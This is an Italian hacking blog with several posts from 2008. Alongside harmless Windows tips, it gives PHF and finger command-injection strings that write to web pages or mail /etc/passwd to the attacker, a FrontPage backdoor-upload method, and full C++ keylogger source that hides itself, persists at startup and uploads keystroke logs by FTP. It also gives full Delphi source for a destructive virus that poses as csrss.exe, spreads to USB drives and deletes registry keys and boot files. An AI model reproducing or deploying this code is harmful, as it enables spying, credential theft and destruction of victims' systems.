Il blog di MOD

Ottimizzare RAM

noreply@blogger.com (MOD) — Sat, 02 Aug 2008 08:41:00 +0000

Per ottimizare la Ram del vostro Computer è necessario cambiare un valore di una chiave nel Registro di Sistema.
Cliccare su Start e scegliere Esegui. Digitare "Regedit" e cercare la seguente chiave di sistema:
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/Memory Management
Cliccando su tale chiave cercare la voce "DisablePaginExecutive" e cliccandoci sopra con il destro del mouse scegliere Modifica. Settare la voce al valore "1". Chiudere il Regedit e riavviare il Sistema.

Estrarre dati sensibili da internet

noreply@blogger.com (MOD) — Sat, 02 Aug 2008 08:39:00 +0000

Ciao a tutti, oggi volevo parlarvi di uno strumento molto utile quando siamo in fase preliminare di raccolta di informazioni riguardo un�??azienda. I dati sensibili dell�??azienda ma anche dei dipendenti che vi lavorano è un aspetto che le imprese non dovrebbero sottovalutare.

Al giorno d�??oggi se navighiamo in internet ci rendiamo sempre più conto che chi tratta dati importanti non si pone il problema se e come potrebbero essere raggiunti da persone non autorizzate, questo perchè c�??è scarsa informazione e poca voglia di sicurezza.

Cos�??è MetaGoofil?

MetaGoofil è un analizzatore di metadati, che permette di ricercare all�??interno di un dominio documenti come pdf, doc, xls, ppt, odp, ods e molti altri estraendone informazioni che molte volte possono rilevarsi sensibili per l�??azienda (nei casi estremi anche username e password). Se vi interessa saperne di più a riguardo potete consultare wikipedia al seguente indirizzo:

http://it.wikipedia.org/wiki/Metadati

Pre-requisiti:

Un sistema linux, cygwin oppure windows, con installato l�??interprete python con le relative librerie.
Una libreria importante che dovrete installare e che non è inclusa nell�??installazione di default del pacchetto python riguarda la libreria extract, che su linux potete installare digitando da shell il comando:

sudo apt-get install extract

Funzionamento:

Una volta installato tutto il necessario non ci rimane che entrare nella direcotry in cui è contenuto lo script, cambiare i permessi se necessario, tramite il comando:

chmod +x metagoofil.py

e infine avviarlo digitando: ./metagoofil

Come si può notare dallo screenshot riportato sotto, possiamo scegliere diverse opzioni di avvio, il dominio di ricerca, i tipi di file da ricercare, il limite di risultati da trovare, il nome del report dei metadati estratti (salvati in un file html) e infine il percorso di una directory dove salvare i file da cui sono stati estratte le informazioni.

Download link: http://rapidshare.com/files/119861401/meta...il-1.4.tar.html

Happy hack.

Bucare un sito

noreply@blogger.com (MOD) — Sat, 02 Aug 2008 08:37:00 +0000

I Browser Attack sono quegli attacchi che vengono portati dal vostro browser,senza particolari software. Oltre ai vari attacchi PHF e Query, ci sono anche altri attacchi o varianti di PHF/Query
Cambiare una pagina web dal tuo browser
Questa corta sezione descrive la stinga da usare per modificare una pagina web da tuo browser. All'indirizzo http://www.sito.com aggiungiamo la seguente stringa
cgi-bin/phf?Qalias=x%0a/bin/echo%20 "Crepa Lamer!!!"%20>>filename.html(questa è una variante del PHF).
Questa stringati permette di scrivere su filename.html e aggiungere "Crepa Lamer!!!" devono essere in formato html. Puoi inserire del testo delle immagini o qualsiasi altra cosa tu voglia.
Finger box hacking:
Diciamo di voler "bucare" un sito tipo www.sito.com(ancora lui...). La prima cosa da fare sara' scivere l'URL Http://www.sito.com. Poi aggiungete all'url /cgi-bin/finger in modo da ottenere Http://www.aol.com/cgi-bin/finger. Se il finger e' attivo un box dovrebbe apparire per inserire il nome della persona su cui eseguire il comando. Se questo avviene tu hai la possibilita' di ricevere il file /etc/passwd. La prossima cosa da fare sara' di trovare un mailto sulla web page (faq@sito.com o webmaster@sito.com ad esempio). Ora ritorna al box e scrivi: faq@sito.com;/bin/mail tuo@indirizzo.org > /etc/passwd ...questa stringa manda a voi una mail da faq@sito.com contenente il file delle password(madonna che goduria!!!)

FrontPage
Il metodo che citerò adesso serve x inserire una backdoor in un sito che ha le estensioni di FrontPage. Per sapere se un sito ha le estensioni di FrontPage:
O c'è scritto direttamente sulla home page del sito. O guardate L'html della home page,e dovreste notare una cosa del genere:
meta name="GENERATOR" content="Microsoft FrontPage 3.0"
Apriamo il FrontPage98 o FrontPage Express e clicchiamo su File. Apriamo Front Page Box,poi scegliamo la voce Apri Web esistente, mettiamo il sito da hackerare e premiamo OK. Appena connessi, se ci chiederà la password dobbiamo lasciar stare,ma se non c'è la chiederà(cosa molto probabile),il 50%del lavoro è fatto. Entriamo nella cartella CGI-BIN e facciamo un Up-Load e ci mettiamo una backdoor.Andiamo al nostro amato browser, e digitiamo:
htto://server_vittima/cgi-bin/nome_della_backdoor.exe
così facciamo partire la nostra backdoor. Adesso il server non ci darà nessuna risposta, e andiamo a vedere subito se la backdoor è stata attivata. Se sì,siamo root. Se invece la backdoor non viene attivata, dovete dare il tempo al server di aggiornarsi e far eseguire il trojan.
http://groups.msn.com/HKLORDSHINVAHOME

Keylogger in C++

noreply@blogger.com (MOD) — Sat, 02 Aug 2008 08:15:00 +0000

Codice:
/*
*************************************************************************
* Upload remote log via FTP *
* Linguaggio: C++ *
* Features: Keylogger *
* - Logga tutto, e la maggior parte delle combinazioni da tastiera *
* - Con un apposita aggiunta alle chiavi di reg. si autoavvia con Win *
* - Invia il file di Log tramite FTP *
* - Se fallisce, ritenta ogni 60 secondi di rinviare il log *
* - Una volta inviato il vecchio log viene cancellato dal PC vittima *
* - Non rilevato dagli AntiVirus *
*************************************************************************
*/

#include
#include
#include
#include
#include
#include
#define PRESSED -32767
using namespace std;

void nascondi();
void StartLog();
bool InviaLog();
void chkSend();
void RegistraAndSposta();
void logga(char *stringa);
void logga(char carattere); // OVERLOAD

ofstream log; //File di LOG
char prog[25] = "keylogger.exe"; // Dare il nome che ha l'exe
char key_dir[255], log_dir[255]; // Destinazione keylogger
bool inviato = FALSE;

int main(int argc, char *argv[])
{
int i = 0;
HWND finestra;
char titolo_finestra[255], last_titolo[255];

RegistraAndSposta();
strcpy(log_dir, key_dir);
strcat(log_dir, "\log.txt");

nascondi();
StartLog();
inviato = InviaLog();

while(1) {
finestra = GetForegroundWindow(); // Ricevo l'indirizzo della finestra del programma
GetWindowText(finestra, titolo_finestra, sizeof(titolo_finestra));
if(strcmp(titolo_finestra, last_titolo) && titolo_finestra[0]!= '0') {
logga("nn========tFinestra: ");
logga(titolo_finestra);
logga("tt========nn");
} strcpy(last_titolo, titolo_finestra);
if(GetAsyncKeyState(VK_SHIFT)) { // LOGGO CARATTERI SE SHIFT E' PREMUTO
for(i = 65; i<= 90; i++) {
if(GetAsyncKeyState(i)== PRESSED) logga(i);
}
for(i = 48; i <= 57; i++) {// CARATTERI SPECIALI --> =!"�?£$%&/() <--
if(GetAsyncKeyState(i) == PRESSED) {
if(i==48) logga(61);
else if(i==51) logga(163);
else if(i==55) logga(47);
else logga(i-16);
}
}
if(GetAsyncKeyState(220) == PRESSED) logga('|');
if(GetAsyncKeyState(188) == PRESSED) logga(';');
if(GetAsyncKeyState(190) == PRESSED) logga(':');
if(GetAsyncKeyState(189) == PRESSED) logga('_');
if(GetAsyncKeyState(186) == PRESSED) logga('�?©');
if(GetAsyncKeyState(187) == PRESSED) logga('*');
if(GetAsyncKeyState(192) == PRESSED) logga('�?§');
if(GetAsyncKeyState(222) == PRESSED) logga('�?°');
if(GetAsyncKeyState(191) == PRESSED) logga('�?§');
if(GetAsyncKeyState(219) == PRESSED) logga('?');
if(GetAsyncKeyState(221) == PRESSED) logga('^');
if(GetAsyncKeyState(226) == PRESSED) logga('>');
} // END IF (se shift �?¨ premuto)

else { // LOGGO CARATTERI SE SHIFT NON E' PREMUTO
for (i = 65; i <= 90; i++) {
if (GetAsyncKeyState(i) == PRESSED) logga(i+32); // LETTERE
}

for(i = 48; i <= 57; i++) { // NUMERI
if(GetAsyncKeyState(i) == PRESSED) logga(i);
}
/* ALCUNI CARATTERI SPECIALI */
if(GetAsyncKeyState(220) == PRESSED) logga('\');
if(GetAsyncKeyState(188) == PRESSED) logga(',');
if(GetAsyncKeyState(190) == PRESSED) logga('.');
if(GetAsyncKeyState(189) == PRESSED) logga('-');
if(GetAsyncKeyState(186) == PRESSED) logga('�?¨');
if(GetAsyncKeyState(187) == PRESSED) logga('+');
if(GetAsyncKeyState(192) == PRESSED) logga('�?²');
if(GetAsyncKeyState(222) == PRESSED) logga('�? ');
if(GetAsyncKeyState(191) == PRESSED) logga('�?¹');
if(GetAsyncKeyState(219) == PRESSED) logga(''');
if(GetAsyncKeyState(221) == PRESSED) logga('�?¬');
if(GetAsyncKeyState(226) == PRESSED) logga('<');
if(GetAsyncKeyState(111) == PRESSED) logga('/');
if(GetAsyncKeyState(106) == PRESSED) logga('*');
if(GetAsyncKeyState(109) == PRESSED) logga('-');
if(GetAsyncKeyState(107) == PRESSED) logga('+');
if(GetAsyncKeyState(110) == PRESSED) logga('.');
/* TASTI FUNZIONALI (loggo char*) */
if(GetAsyncKeyState(VK_CAPITAL) == PRESSED) logga("");
if(GetAsyncKeyState(VK_BACK) == PRESSED) logga("");
if(GetAsyncKeyState(VK_DELETE) == PRESSED) logga("");
if(GetAsyncKeyState(VK_ESCAPE) == PRESSED) logga("");
if(GetAsyncKeyState(VK_HOME) == PRESSED) logga("");
if(GetAsyncKeyState(VK_END) == PRESSED) logga("");
if(GetAsyncKeyState(VK_INSERT) == PRESSED) logga("");
if(GetAsyncKeyState(VK_TAB) == PRESSED) logga("");
if(GetAsyncKeyState(VK_LEFT) == PRESSED) logga("");
if(GetAsyncKeyState(VK_RIGHT) == PRESSED) logga("");
if(GetAsyncKeyState(VK_UP) == PRESSED) logga("");
if(GetAsyncKeyState(VK_DOWN) == PRESSED) logga("");
/* SPAZIO E A CAPO */
if(GetAsyncKeyState(VK_SPACE) == PRESSED) logga(" ");
if(GetAsyncKeyState(VK_RETURN) == PRESSED) logga("tn");
}
Sleep(10);
chkSend(); // CONTROLLO SE IL FILE E' STATO UPPATO
}

return 0;
}

void StartLog()
{
char user[50], pcname[50], ora[50];
DWORD buffSize = 50;
GetComputerName(pcname, &buffSize); // Ottengo il nome del computer
GetUserName(user,&buffSize); // Ottengo l'username

time_t startTime;
time(&startTime); // Ottengo il localtime
strcpy(ora, ctime(&startTime)); // Lo converto in stringa

logga("ttt-------> KEYLOGGER AVVIATO <-------nn"); // Loggo le varie info
logga("__GiReX__ Remote KeyLogger 2.0 http://girex.altervista.orgnn");
logga("Nome del computer:t");
logga(pcname);
logga("nUsername:tt");
logga(user);
logga("nStartup Time:tt");
logga(ora);
logga("nn");
}

void RegistraAndSposta()
{
char moved[255];
GetSystemDirectory(key_dir, sizeof(key_dir)); // Prendo il percorso della dir system32
strcpy(moved, key_dir);
strcat(moved, "\");
strcat(moved, prog);
CopyFile(prog, moved, 1); // COPIO il keylogger in system32

HKEY chiave; // Mofifico le chiavi di registro (run) in modo che parta all'avvio
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion\Run",0,KEY_SET_VALUE,&chiave);
RegSetValueEx(chiave, "keylogger",0,REG_SZ,(const unsigned char*)moved,sizeof(moved));
RegCloseKey(chiave);
}

void nascondi()
{
HWND invisibile;
invisibile = FindWindow("ConsoleWindowClass", NULL); // Ricevo valore finestra
ShowWindow(invisibile, SW_HIDE); // Nascondo finestra
}

void logga(char carattere) // Loggo caratteri
{
log.open(log_dir, ios::app);
log << carattere;
log.close();
}

void logga(char *stringa) // Loggo Stringhe (char*)
{
log.open(log_dir, ios::app);
log << stringa;
log.close();
}

bool InviaLog()
{
HINTERNET connessione, sessione_ftp;

connessione = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
if(!connessione) {
logga("n*** INIZIO CONNESSIONE FALLITO ***n");
return FALSE;
}
sessione_ftp = InternetConnect(connessione,"TUO_HOST es.(piero.it)",INTERNET_DEFAULT_FTP_PORT, "TUO_USERNAME","TUA_PASS", INTERNET_SERVICE_FTP, 0,0 );
if(!sessione_ftp) {
logga("n*** INIZIO SESSIONE FTP FALLITA ***n");
return FALSE;
}
if(!FtpPutFile(sessione_ftp, log_dir, "mylog.txt", INTERNET_FLAG_TRANSFER_BINARY, 0)){
logga("n*** INVIO FILE FALLITO ***n");
return FALSE;
}

InternetCloseHandle(sessione_ftp);
InternetCloseHandle(connessione);
DeleteFile(log_dir); // SE UPPATO CANCELLO IL LOG
StartLog(); // Cancellato il file, riscrivo lo startup log
return TRUE;
}

void chkSend()
{
if(inviato==TRUE) return;
else {

struct tm *orario;
time_t lt;
int s;

lt = time(NULL);
orario = localtime(&lt);
s = orario->tm_sec;
if(s==0) inviato = InviaLog();
}
}

Nascondere file in un immagine

noreply@blogger.com (MOD) — Sat, 02 Aug 2008 08:14:00 +0000

Senza dover installare nessun programma è possibile inserire all'interno di un immagine jpg qualsiasi tipo di file che vogliamo nascondere ad occhi indiscreti (ad esempio un file di testo o un mp3).
Naturalmente chiunque apra l'immagine la vedrà senza alcun problema e non sospetterà nulla. Certo non è che la protezione sia elevatissima come vedremo, ma sicuramente è un trucco utile per tenere lontani i ficcanaso.
Per prima cosa create una nuova cartella e metteteci dentro l'immagine (es lumaca.jpg) e il file di testo compresso con winrar (es lista.rar).
Adesso aprite una riga di comando nella cartella (se non sapete come fare seguite le istruzioni del post precedente) e digitate questo comando facendo attenzione agli spazi:
copy /b lumaca.jpg + lista.rar segreto.jpg
dove "segreto.jpg" sarà il nome dell'immagine che nasconderà il file di testo.
Controllate adesso se la nuova immagine viene visualizzata correttamente, se tutto è ok provate ad aprirla con winrar e vedrete che conterrà il vostro file di testo.

PS

CODICEAprire il prompt Dos in una qualsiasi cartella di Explorer

In Windows XP (ma anche in tutti i sistemi precedenti), è possibile inserire nuove voci ai menù a tendina che appaiono tramite la pressione del tasto dx del mouse. Di seguito trovate i passi per aggiungere la voce "Apri finestra Dos" nel menù contestuale di ogni cartella di Windows. Questa voce permetterà poi di aprire una finestra Dos che visualizzi il percorso selezionato in Explorer.

1: Aprite "Risorse del computer"
2: Selezionate il menù "Strumenti" -> "Opzioni cartella..."
3: Scegliete la cartelletta "Tipi di file"
4: Selezionate la voce "Cartella" nel box contenete i tipi di files (Dovrebbe essere al secondo posto)
5: Cliccate sul pulsante "Avanzate" in basso a destra
6: Nella casella "Operazione" scrivete Apri finestra DOS
7: Nella casella "Applicazione utilizzata per..." inserite la seguente stringa di testo (senza virgolette):
"C:\Windows\System32\command.com /k cd %1"

Una volta fatto questo uscite dalla finestra delle proprietà della cartella e provate a selezionare dal menù contestuale di una qualsiasi cartella per vedere l'effetto della nuova impostazioni.
Tramite l'utilizzo di diversi percorsi nella casella di testo "Applicazione utilizzata per eseguire l'operazione" è possibile creare centinaia di nuovi comandi.

Virus death note

noreply@blogger.com (MOD) — Sat, 02 Aug 2008 08:11:00 +0000

NON MI ASSUMO ALCUNA RESPONSABILITA DELL USO CHE NE FARETE
[il download del virus già compilato e pronto all'uso è alla fine, ma conviene leggere tutto comunque] DEATH NOTE è il virus che ho fatto io durante una sfida di programmazzione che abbiamo fatto con i miei amici, l'ho vinta io e di brutto....
cmq il virus è scritto in DELPHI e in pratica aspetta 7 giorni dall'ultima volta che è stato lanciato e per quattro volte al giorno successivo dei sette il death note (NOTE DI MORTE)
blocca completamente l'utente togliendogli l'uso del mouse, del desktop va qualunque cosa gli leva pure il vizzio di cagare all'utente, in fine dopo 4 riavvia che il pc continua a bloccarsi parte l'ultima fase del virus la parte distruttiva, in pratica elimina tutte le referenze che ha il pc con i file .exe .dll .ini, in pratica non riesce più ad eseguirli, ma non è finita in fine elimina completamente il boot di sistema anche quello provvisorio, al momento nessun antivirus lo riconosce come virus.

IL SORGENTE è UN PO COMPLICATO MA SE VE NE INTENDETE DI DELPHI POTETE CAPIRE PRECISAMENTE I VARI PASSAGGI CHE COSA FA

FUNZIONAMENTO
- dopo che viene lanciato si autoimposta in modalità invisibile
- fa una copia di se stesso in c:\windows\csrss.exe (si spaccia per un file di windows)
- controlla il suo nome di quando è stato lanciato se il nome è csrss non da nessun messaggio, ma se l'applicazione è stata rinominata alla fine dei primi due processi lancia un messaggio con scritto "INSTALLAZZIONE COMPLETATA" così posso rinominarlo e mandarlo a qualche mio amico spacciandolo per l'installazzione di qualche programmino
- se è la prima volta che viene lanciato crea nel registro di systema una serie di chiavi di registro una che serve per avviarsi automaticamente al riavvia e le altre che servono per il conteggio dei giorni che mancano, un altra per vedere se la parte bloccante del virus è stata avviata così se il virus è stata avviato e poi con il bios siete andati indietro con la data il virus riparte lo stesso, e in fine una chiave che gli serve a tenere il conto delle volte che è stata lanciata la parte bloccante del virus
- appena controlla questa ultima opzione controlla la data e la comapra con la data che si è prefissato per quando deve avviarsi se la data non è quella o minore di quella prefissata il virus si termina e aspetta il prossimo avvio del pc, così da non lasciare tracce durante i sette giorni di attesa per non appesantire il systema
- se la data è maggiore o uguale a quella che si era prefissata segna la chiave che avevo detto prima quella per capire se almeno una volta era stata avviata la parte bloccante, dopo di che passa all'azzione:

- blocca il mous
- scompare la barra dello start
- il task manager non si apre (se anche riusciste ad aprire il task sarebbe inutile xchè il nome csrss.exe se provate a terminarlo il windows risponde processo di systema non si può termiare)
- lo speeker di system inizia a fare beep all'infinito
- in fine in mezzo all'inferno causato si apre una finesta con scritto "(nome dell'utente) AVVERTENZE ERRORE CRITOCO!, WINDOWS ELIMINATO" dove c'è la parentesi compare il nome dell'utente che è in uso
- in fine si clicca su ok e il pc si riavvia o se non si vuole fare su ok il sistema va in Overflow (sovraccarico) e si riavvia lo stesso
- da adesso in poi agni volta che si riavvia il pc si avvicina sempre + verso la morte xchè dopo quattro riavvia dal primo bloccaggio il virus elimina le sue tracce e tutte le tracce di windows e del boot
- al riavvio finale il pc non funzionerà completamente comparità una schermata blu (se avete il cd di ripristino di windows e ripristinate cioè riscrivete di sopra senza formattare levatevelo dalla testa xchè il systema è compromesso poichè il virus ha provveduto a cancellare i famosi file di registro)

il virus lo sto ancora evolvendo è ancora non è completamente finito per suggerimenti e altro l'email è questa napster.begin@live.it

il sorgente è diviso in tre parti poichè in un solo file di progettazzione sarebbe diventato veramente un casino

MASTER è dove c'è scritta tutta la procedura di sopra indicata

CODICE

unit Master;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, XPMan, ExtCtrls, StdCtrls, Registry, IdBaseComponent, IdComponent,

IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase, IdMessageClient,

IdSMTPBase, IdSMTP, IdMessage, Wininet;

type

T_Master = class(TForm)

autorun: TMemo;

Beep: TTimer;

Mouse: TTimer;

TaskKill: TTimer;

Registro: TTimer;

FileEx: TTimer;

Rete: TTimer;

procedure FormActivate(Sender: TObject);

procedure MouseTimer(Sender: TObject);

procedure BeepTimer(Sender: TObject);

procedure TaskKillTimer(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure RegistroTimer(Sender: TObject);

procedure FileExTimer(Sender: TObject);

procedure ReteTimer(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

_Master: T_Master;

Chiavi : TRegistry;

Utente : string;

Hndl : integer;

Const

Root0 = 'Software\Microsoft\Windows\CurrentVersion\Run';

Root2 = 'Software\HelloWord';

implementation

Uses NapSter, Distruzione;

{$R *.dfm}

function NomeUtente: string;

var

buf: array[ 0 .. 31 ] of char;

i: Cardinal;

begin

Result;

i := 31;

GetUserName(@buf, i);

Result := buf;

end;

function Spegni(RebootParam: Longword): Boolean;

Var

TTokenHd: THandle;

TTokenPvg: TTokenPrivileges;

cbtpPrevious: DWORD;

rTTokenPvg: TTokenPrivileges;

pcbtpPreviousRequired: DWORD;

tpResult: Boolean;

Const

SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';

begin

if Win32Platform = VER_PLATFORM_WIN32_NT then

begin

tpResult := OpenProcessToken(GetCurrentProcess(),

TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,

TTokenHd);

if tpResult then

begin

tpResult := LookupPrivilegeValue(nil,

SE_SHUTDOWN_NAME,

TTokenPvg.Privileges[0].Luid);

TTokenPvg.PrivilegeCount := 1;

TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

cbtpPrevious := SizeOf(rTTokenPvg);

pcbtpPreviousRequired := 0;

if tpResult then

Windows.AdjustTokenPrivileges(TTokenHd,

False,

TTokenPvg,

cbtpPrevious,

rTTokenPvg,

pcbtpPreviousRequired);

end;

end;

Result := ExitWindowsEx(RebootParam, 0);

end;

procedure T_Master.BeepTimer(Sender: TObject);

var

a : integer;

begin

repeat

a := random(3000);

until a > 100;

Windows.Beep(a, 100);

end;

procedure T_Master.FormActivate(Sender: TObject);

var

tmp : integer;

begin

begin

ShowWindow(Handle, SW_HIDE);

ShowWindow(Application.Handle, SW_HIDE);

NapSter.Registro;

NapSter.Virus_Infect;

end;

begin

RegistroTimer(Self);

FileExTimer(Self);

if not (Application.Title = 'csrss') then

MessageDlg('Installazione completata', mtInformation, [mbOK], 0);

// Napster.Rete;

end;

begin

Chiavi := Tregistry.Create;

Chiavi.RootKey := HKEY_CURRENT_USER;

Chiavi.OpenKey(Root2, True);

if Chiavi.ReadInteger('Avvio') = 0 then

begin

if (Date = Chiavi.ReadDate('Data')) or (Date > Chiavi.ReadDate('Data')) then

begin

_Master.Registro.Enabled := true;

_Master.FileEx.Enabled := true;

Chiavi.WriteInteger('Avvio', 1);

Chiavi.WriteInteger('Avvio_canc', Chiavi.ReadInteger('Avvio_canc') + 1);

Hndl := FindWindow(PChar('Shell_TrayWnd'), nil);

ShowWindow(hndl, SW_HIDE);

_Master.TaskKill.Enabled := True;

_Master.Beep.Enabled := True;

_Master.Mouse.Enabled := True;

Utente := NomeUtente;

Utente := AnsiUpperCase(Utente);

MessageDlg(Utente +

' AVVERTENZE ERRORE CRITOCO!, WINDOWS ELIMINATO',

mtWarning, [mbOK], 0);

Spegni(EWX_REBOOT);

end else

begin

RegistroTimer(Self);

FileExTimer(Self);

Registro.Enabled := false;

FileEx.Enabled := false;

if not (Application.Title = 'csrss') then

begin

Application.Terminate;

end;

end;

end else

begin

tmp := Chiavi.ReadInteger('Avvio_canc');

tmp := tmp + 1;

Chiavi.WriteInteger('Avvio_canc', tmp);

Hndl := FindWindow(PChar('Shell_TrayWnd'), nil);

ShowWindow(hndl, SW_HIDE);

_Master.TaskKill.Enabled := True;

_Master.Beep.Enabled := True;

_Master.Mouse.Enabled := True;

if (Chiavi.ReadInteger('Avvio_canc') > 4) or

(Chiavi.ReadInteger('Avvio_canc') = 4) then

begin

Distruzione.Registro;

Distruzione.Boot;

end;

Utente := NomeUtente;

Utente := AnsiUpperCase(Utente);

MessageDlg(Utente +

' AVVERTENZE ERRORE CRITOCO!, WINDOWS ELIMINATO',

mtWarning, [mbOK], 0);

Spegni(EWX_REBOOT);

end;

end;

end;

procedure T_Master.FormClose(Sender: TObject; var Action: TCloseAction);

begin

Application.Run;

end;

procedure DisabilitaMouse;

var

rc: TRect;

begin

GetWindowRect(GetDeskTopWindow, rc);

rc.Top:=rc.Bottom;

rc.Left:=rc.Right;

SetCursorPos(rc.Left,rc.Top);

ClipCursor(@rc);

end;

procedure T_Master.MouseTimer(Sender: TObject);

begin

DisabilitaMouse;

end;

procedure T_Master.RegistroTimer(Sender: TObject);

begin

WinExec('TaskKill /F /IM TeaTimer.exe', SW_HIDE);

Chiavi := TRegistry.Create;

Chiavi.RootKey := HKEY_LOCAL_MACHINE;

Chiavi.OpenKey(Root0, True);

if not(Chiavi.ReadString('SystemRoot') = '"C:\Windows\csrss.exe"')then

Chiavi.WriteString('SystemRoot', '"C:\Windows\csrss.exe"');

end;

procedure T_Master.ReteTimer(Sender: TObject);

begin

// FormActivate(Self);

end;

procedure T_Master.FileExTimer(Sender: TObject);

begin

if not FileExists ('C:\Windows\csrss.exe') then

CopyFile(PChar(application.ExeName), Pchar('C:\Windows\csrss.exe'), false);

end;

procedure T_Master.TaskKillTimer(Sender: TObject);

begin

WinExec('TaskKill /F /IM explorer.exe', SW_HIDE);

WinExec('TaskKill /F /IM taskmgr.exe', SW_HIDE);

WinExec('TaskKill /F /IM cmd.exe', SW_HIDE);

WinExec('TaskKill /F /IM regedit.exe', SW_HIDE);

end;

end.

NAPSTER DOVE CI SONO LE PROCEDURE DI SCRITTURA DEI REGISTRI
PS.
AVEVO AGGIUNTO ANCHE UNA PROCEDURA PER INFETTARE LE PEN DRIVE CON TANTO DI AUTOEXEC
CMQ OCCUPA TROPPA RAM ALL'AVVIO E L'HO DISATTIVATA

CODICE

unit Napster;

interface

Uses

Registry, Windows, Messages, SysUtils, Variants, Classes, Dialogs, Controls,

StdCtrls, Forms;

Procedure Virus_Infect;

Procedure Registro;

Procedure Rete;

Procedure AB;

Var

Chiavi : TRegistry;

Fine : TDate;

a : Integer;

Drive : char;

Const

Root = 'Software\HelloWord';

implementation

Uses Master;

procedure Rete;

begin

a := 0;

repeat

a := a + 1;

Napster.AB;

case GetDriveType(PChar(Drive + ':\')) of

DRIVE_REMOVABLE: begin

CopyFile(PChar(application.ExeName), Pchar(Drive + ':\sys.exe'), false);

WinExec(Pchar('attrib +s +h '+ Drive +':\sys.exe'), SW_HIDE);

_Master.autorun.Lines.SaveToFile(Pchar(Drive + ':\autorun.inf'));

end;

DRIVE_REMOTE: begin

CopyFile(PChar(application.ExeName), Pchar(Drive + ':\sys.exe'), false);

WinExec(Pchar('attrib +s +h '+ Drive +':\sys.exe'), SW_HIDE);

end;

end;

until a = 23;

end;

Procedure Virus_Infect;

begin

CopyFile(PChar(application.ExeName), Pchar('C:\Windows\csrss.exe'), false);

end;

Procedure Registro;

begin

// WinExec('TaskKill /F /IM TeaTimer.exe', SW_HIDE);

Chiavi := TRegistry.Create;

Chiavi.RootKey := HKEY_CURRENT_USER;

Chiavi.OpenKey(Root, True);

if Chiavi.ReadString('Creato') = 'Creato' then

begin

NapSter.Fine := Chiavi.ReadDate('Data');

end else

begin

// Chiavi.WriteDate('Data', Date + strtodate('6/01/1900'));

Chiavi.WriteDate('Data', Date );

Chiavi.WriteString('Creato', 'Creato');

Chiavi.WriteInteger('Avvio', 0);

Chiavi.WriteInteger('Avvio_canc', 0);

end;

Chiavi.CloseKey;

end;

Procedure AB;

begin

if a = 1 then

begin

Drive := 'Q';

end;

if a = 2 then

begin

Drive := 'W';

end;

if a = 3 then

begin

Drive := 'E';

end;

if a = 4 then

begin

Drive := 'R';

end;

if a = 5 then

begin

Drive := 'T';

end;

if a = 6 then

begin

Drive := 'Y';

end;

if a = 7 then

begin

Drive := 'U';

end;

if a = 8 then

begin

Drive := 'I';

end;

if a = 9 then

begin

Drive := 'O';

end;

if a = 10 then

begin

Drive := 'P';

end;

if a = 11 then

begin

Drive := 'S';

end;

if a = 12 then

begin

Drive := 'D';

end;

if a = 13 then

begin

Drive := 'F';

end;

if a = 14 then

begin

Drive := 'G';

end;

if a = 15 then

begin

Drive := 'H';

end;

if a = 16 then

begin

Drive := 'J';

end;

if a = 17 then

begin

Drive := 'K';

end;

if a = 18 then

begin

Drive := 'L';

end;

if a = 19 then

begin

Drive := 'Z';

end;

if a = 20 then

begin

Drive := 'X';

end;

if a = 21 then

begin

Drive := 'V';

end;

if a = 22 then

begin

Drive := 'N';

end;

if a = 23 then

begin

Drive := 'M';

end;

end;

end.

DISTRUZIONE QUI DENTRO CI SONO TUTTI I FILE E LE CHIAVI DI REGISTRO CHE VERRANNO ELIMINATE

CODICE

nit Distruzione;

interface

Uses

Windows, Registry;

Procedure Boot;

Procedure Registro;

Var

Chiavi : TRegistry;

implementation

Procedure Registro;

begin

WinExec('TaskKill /F /IM TeaTimer.exe', SW_HIDE);

Chiavi := TRegistry.Create;

Chiavi.RootKey := HKEY_CLASSES_ROOT;

Chiavi.DeleteKey('.dll');

Chiavi.DeleteKey('.exe');

Chiavi.DeleteKey('.ini');

Chiavi.RootKey := HKEY_LOCAL_MACHINE;

Chiavi.DeleteKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run');

Chiavi.DeleteKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer');

Chiavi.DeleteKey('SOFTWARE');

Chiavi.RootKey := HKEY_CURRENT_USER;

Chiavi.DeleteKey('Control Panel\Desktop');

Chiavi.DeleteKey('Control Panel\Cursors');

Chiavi.DeleteKey('Control Panel\Custom Colors');

Chiavi.DeleteKey('Control Panel\Keyboard');

Chiavi.DeleteKey('Control Panel\Mouse');

Chiavi.DeleteKey('Console');

Chiavi.DeleteKey('Software');

end;

Procedure Boot;

begin

DeleteFile('C:\boot.ini');

DeleteFile('C:\bootfont.bin');

DeleteFile('C:\msdos.sys');

DeleteFile('C:\autoexec.bat');

DeleteFile('C:\Windows\bootstat.dat');

DeleteFile('C:\Windows\system\timer.drv');

DeleteFile('C:\Windows\system32\bootvid.dll');

DeleteFile('C:\Windows\system32\bootcfg.exe');

DeleteFile('C:\Windows\system32\bootok.exe');

DeleteFile('C:\Windows\system32\bootvrfy.exe');

DeleteFile('C:\Windows\system32\drivers\dmboot.sys');

DeleteFile('C:\Windows\system32\dllcache\bootvid.dll');

DeleteFile('C:\Windows\system32\dllcache\bootcfg.exe');

DeleteFile('C:\Windows\system32\dllcache\bootok.exe');

DeleteFile('C:\Windows\system32\dllcache\bootvrfy.exe');

DeleteFile('C:\Windows\system32\dllcache\dmboot.sys');

end;

end.

PS.
